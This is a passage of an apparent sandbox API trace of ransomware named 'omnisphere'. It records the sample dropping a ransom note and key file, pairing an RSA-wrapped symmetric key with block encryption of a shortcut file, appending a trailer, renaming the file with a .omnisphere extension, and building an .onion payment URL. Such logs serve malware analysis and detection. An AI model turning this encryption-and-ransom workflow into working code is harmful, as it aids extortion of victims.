0x16f20c0 [0127.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.265] GetProcessHeap () returned 0x1600000 [0127.265] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1960 [0127.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1960, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.265] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.265] GetProcessHeap () returned 0x1600000 [0127.265] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8248 [0127.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8248, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.266] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.266] GetProcessHeap () returned 0x1600000 [0127.266] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9d48 [0127.266] PathCombineW (in: pszDest=0x16d9d48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.266] GetProcessHeap () returned 0x1600000 [0127.266] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e6c50 [0127.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.267] WriteFile (in: hFile=0x28c, lpBuffer=0x16e6c50*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e6c50*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.267] CloseHandle (hObject=0x28c) returned 1 [0127.267] GetProcessHeap () returned 0x1600000 [0127.267] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f20c0 | out: hHeap=0x1600000) returned 1 [0127.268] GetProcessHeap () returned 0x1600000 [0127.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e0a8 [0127.268] PathCombineW (in: pszDest=0x162e0a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.268] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.268] CloseHandle (hObject=0x28c) returned 1 [0127.268] GetProcessHeap () returned 0x1600000 [0127.268] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e0a8 | out: hHeap=0x1600000) returned 1 [0127.268] GetProcessHeap () returned 0x1600000 [0127.268] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.268] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21243466, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21243466, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21243466, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="WjdFIZ.lnk", cAlternateFileName="")) returned 1 [0127.268] GetProcessHeap () returned 0x1600000 [0127.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167bb28 [0127.269] PathCombineW (in: pszDest=0x167bb28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="WjdFIZ.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk" [0127.269] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wjdfiz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.269] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=729) returned 1 [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.269] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] GetTickCount () returned 0x115fc1f [0127.270] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0127.271] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0127.271] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.271] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.271] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0127.271] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d9, lpName=0x0) returned 0x288 [0127.271] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d9) returned 0x1480000 [0127.272] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ce0) returned 1 [0127.272] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0127.272] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.272] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.272] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.272] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.272] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.272] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.272] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.273] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.274] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.274] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0127.274] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2d9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.274] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.275] GetProcessHeap () returned 0x1600000 [0127.275] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16f0c48 [0127.275] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wjdfiz.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wjdfiz.lnk.omnisphere")) returned 1 [0127.276] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk.omnisphere.id" [0127.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wjdfiz.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.276] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.277] CloseHandle (hObject=0x3c0) returned 1 [0127.277] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.277] CloseHandle (hObject=0x288) returned 1 [0127.277] SetEndOfFile (hFile=0x28c) returned 1 [0127.278] FlushFileBuffers (hFile=0x28c) returned 1 [0127.281] CloseHandle (hObject=0x28c) returned 1 [0127.281] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjdFIZ.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.281] GetProcessHeap () returned 0x1600000 [0127.281] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f20c0 [0127.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.281] GetProcessHeap () returned 0x1600000 [0127.281] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1a00 [0127.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1a00, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.281] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.281] GetProcessHeap () returned 0x1600000 [0127.281] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d84a8 [0127.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d84a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.281] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.281] GetProcessHeap () returned 0x1600000 [0127.281] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9e00 [0127.281] PathCombineW (in: pszDest=0x16d9e00, 